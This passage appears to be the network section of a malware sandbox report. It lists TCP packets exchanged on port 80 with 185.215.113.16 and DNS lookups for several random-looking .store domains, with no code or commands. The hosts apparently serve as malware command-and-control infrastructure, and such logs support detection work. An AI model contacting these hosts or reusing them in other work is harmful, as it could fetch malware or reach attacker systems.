Oct 29, 2024 20:45:04.130714893 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.130737066 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.130749941 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.130821943 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.130927086 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.130939007 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.130949974 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.130961895 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.130966902 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.130974054 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.130990028 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.131010056 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.131189108 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.131201029 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.131237984 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.131247044 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.131252050 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.131263971 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.131282091 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.131285906 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.131320953 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.131990910 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.132035017 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.132046938 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.132071972 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.132152081 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.132164001 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.132209063 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.132299900 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.132312059 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.132323980 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.132338047 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.132365942 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.132421017 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.132510900 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.132522106 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.132533073 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.132544994 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.132558107 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.132574081 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.132586002 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.132911921 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.132924080 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.132934093 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.132949114 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.132961035 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.132961035 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.132973909 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.132986069 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.132986069 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.132997036 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.133008003 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.133013010 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.133018970 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.133033037 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.133064032 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.169693947 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.169751883 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.169764996 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.169794083 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.169838905 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.169876099 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.169951916 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.169964075 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.169975042 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.169989109 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.169998884 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.170034885 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.170135021 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.170154095 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.170164108 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.170196056 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.215229034 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.215243101 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.215282917 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.240252972 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.240303993 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.240308046 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.240317106 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.240359068 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.240467072 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.240478992 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.240490913 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.240503073 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.240514040 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.240547895 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.240778923 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.240791082 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.240814924 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.245136023 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.245192051 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.245228052 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.245240927 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.245289087 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.245364904 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.245438099 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.245450020 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.245476007 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.245573997 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.245587111 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.245611906 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.245776892 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.245789051 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.245805979 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.245819092 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.245822906 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.245831013 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.245842934 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.245870113 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.246114016 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.246125937 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.246138096 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.246149063 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.246160030 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.246160984 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.246172905 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.246208906 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.246239901 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.246650934 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.246779919 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.246797085 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.246824026 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.246835947 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.246845961 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.246889114 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.246948004 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.246961117 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.246973038 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.246984959 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.246989965 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.246990919 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.247001886 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.247029066 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.247052908 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.247234106 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.247246027 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.247256994 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.247270107 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.247275114 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.247281075 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.247297049 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.247323036 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.247325897 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.247335911 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.247347116 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.247359991 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.247369051 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.247371912 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.247390985 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.247420073 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.247427940 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.247699976 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.247772932 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.247814894 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.247833014 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.247843027 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.247853994 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.247867107 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.247876883 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.247901917 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.248059034 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.248070002 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.248081923 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.248092890 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.248105049 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.248116016 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.248117924 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.248145103 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.248179913 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.248315096 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.248327017 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.248337984 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.248362064 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.248462915 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.248481989 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.248497963 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.248503923 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.248508930 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.248521090 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.248533964 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.248537064 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.248539925 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.248613119 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.248822927 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.248833895 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.248843908 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.248856068 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.248863935 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.248867989 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.248879910 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.248892069 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.248893023 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.248903990 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.248924017 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.248933077 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.248954058 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.316999912 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.317028999 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.317040920 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.317050934 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.317078114 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.317186117 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.317203999 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.317215919 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.317229033 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.317235947 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.317265987 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.317440033 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.317457914 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.317470074 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.317498922 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.329024076 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.329082012 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.329401016 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.357826948 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.357853889 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.357867956 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.357871056 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.357909918 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.357983112 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.357999086 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.358015060 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.358032942 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.358041048 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.358072042 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.358241081 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.358254910 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.358269930 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.358298063 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.361047029 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.361063004 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.361078978 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.361087084 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.361116886 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.361129999 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.361227989 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.361242056 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.361257076 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.361268997 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.361294985 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.361355066 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.361370087 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.361404896 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.361417055 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.361433029 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.361465931 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.361596107 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.361610889 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.361625910 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.361640930 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.361641884 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.361655951 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.361681938 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.361845016 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.361884117 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.361968994 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.361982107 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.361995935 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.362011909 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.362020969 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.362026930 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.362040997 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.362042904 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.362072945 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.362093925 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.362179995 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.362195015 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.362214088 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.362344980 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.362369061 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.362381935 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.362392902 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.362406969 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.362421989 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.362435102 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.362461090 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.362502098 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.362642050 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.362657070 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.362670898 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.362682104 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.362685919 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.362703085 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.362704992 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.362735987 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.362910986 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.362924099 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.362937927 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.362952948 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.362962961 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.362968922 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.362992048 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.363127947 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.363143921 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.363161087 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.363163948 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.363177061 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.363193035 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.363307953 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.363332033 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.363348961 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.363410950 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.363441944 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.363462925 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.363529921 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.363547087 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.363570929 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.363637924 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.363703966 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.363711119 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.363770962 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.363785982 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:04.363801003 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.535664082 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:04.567575932 CET	62424	80	192.168.2.6	185.215.113.16

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 29, 2024 20:43:50.033278942 CET	51292	53	192.168.2.6	1.1.1.1
Oct 29, 2024 20:43:50.043900967 CET	53	51292	1.1.1.1	192.168.2.6
Oct 29, 2024 20:43:50.057770014 CET	57021	53	192.168.2.6	1.1.1.1
Oct 29, 2024 20:43:50.069629908 CET	53	57021	1.1.1.1	192.168.2.6
Oct 29, 2024 20:43:50.072485924 CET	62992	53	192.168.2.6	1.1.1.1
Oct 29, 2024 20:43:50.083343029 CET	53	62992	1.1.1.1	192.168.2.6
Oct 29, 2024 20:43:50.085755110 CET	50992	53	192.168.2.6	1.1.1.1
Oct 29, 2024 20:43:50.095000029 CET	53	50992	1.1.1.1	192.168.2.6
Oct 29, 2024 20:43:50.097196102 CET	59326	53	192.168.2.6	1.1.1.1
Oct 29, 2024 20:43:50.113051891 CET	53	59326	1.1.1.1	192.168.2.6
Oct 29, 2024 20:44:05.621812105 CET	53	64157	1.1.1.1	192.168.2.6
Oct 29, 2024 20:44:32.449847937 CET	53	54341	162.159.36.2	192.168.2.6
Oct 29, 2024 20:44:33.096163034 CET	53	59475	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 29, 2024 20:43:50.033278942 CET	192.168.2.6	1.1.1.1	0x3e7f	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Oct 29, 2024 20:43:50.057770014 CET	192.168.2.6	1.1.1.1	0x4b25	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Oct 29, 2024 20:43:50.072485924 CET	192.168.2.6	1.1.1.1	0x36ce	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Oct 29, 2024 20:43:50.085755110 CET	192.168.2.6	1.1.1.1	0x4586	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Oct 29, 2024 20:43:50.097196102 CET	192.168.2.6	1.1.1.1	0x7970	Standard query (0)	necklacedmny.store	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
